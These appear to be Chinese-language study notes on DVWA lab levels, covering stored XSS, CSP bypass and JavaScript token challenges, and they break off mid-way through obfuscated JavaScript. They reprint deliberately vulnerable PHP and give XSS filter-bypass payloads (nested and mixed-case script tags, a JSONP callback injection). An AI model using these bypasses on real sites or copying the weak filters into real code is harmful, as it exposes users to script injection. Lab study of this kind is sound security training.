$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
htmlspecialchars(),將敏感符號轉乘HTML-entity
XSS(Stored)
XSS (Stored) (Low)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
啥都沒濾,不過前端有限制大小
XSS (Stored) (Medium)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
對Name的限制比較少
XSS (Stored) (Medium)
- strip_tags( addslashes( $message ) );
- 去掉HTML的標籤
- htmlspecialchars( $message );
- 將敏感符號轉乘HTML-entity
-
addslashes
- 在', ", \, NULL 前加反斜線
- str_replace( '<script>', '', $name );
- 就取代字串
//在Name輸入,並且改maxlength
//寫兩次繞過
<scr<script>ipt>alert(1);</script>
//大小寫繞過
<ScRipt>alert(1);</ScRipt>
XSS (Stored) (High)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
比對<script>
用<img>,<iframe>...等標籤
XSS (Stored) (Impossible)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars(),將敏感符號轉乘HTML-entity
CSP Bypass
Content Security Policy
- https://content-security-policy.com/
- 告知瀏覽器發出request的位置是否被信任,阻擋非預期的連線
- 以白名單的方式限制執行的資源
- 用來防止XSS攻擊
CSP Bypass(Low)
- 允許pastebin來源
CSP Bypass(Medium)
- 檢查nonce屬性值
CSP Bypass(High)
- 沒輸入框、只有一個submit
CSP Bypass(High)
- 看個原始碼,發現有js能用,針對callback
CSP Bypass(High)
- 在瀏覽器針對API的callback-function,無法XSS
- 需透過burp攔包改參數,`alert(1)`
- 並無針對callback參數,做任何過濾
# jsonp.php
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
CSP Bypass(Impossible)
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
- 不使用callback,寫死call function的方式,也不要給輸入
JavaScript
JavaScript (Low)
Invalid token
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
#index.php
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (array_key_exists ("phrase", $_POST) && array_key_exists ("token", $_POST)) {
$phrase = $_POST['phrase'];
$token = $_POST['token'];
if ($phrase == "success") {
switch( $_COOKIE[ 'security' ] ) {
case 'low':
if ($token == md5(str_rot13("success"))) {
$message = "<p style='color:red'>Well done!</p>";
} else {
$message = "<p>Invalid token.</p>";
}
break;
JavaScript (Low)
token是前端產生的
因此先將字打好,在call function即可
JavaScript (Medium)
function被丟到medium.js了
JavaScript (Medium)
function被丟到medium.js了
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
JavaScript (Medium)
一樣方式,只是換do_elsesomething("xx")
JavaScript (High)
// js混淆
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return 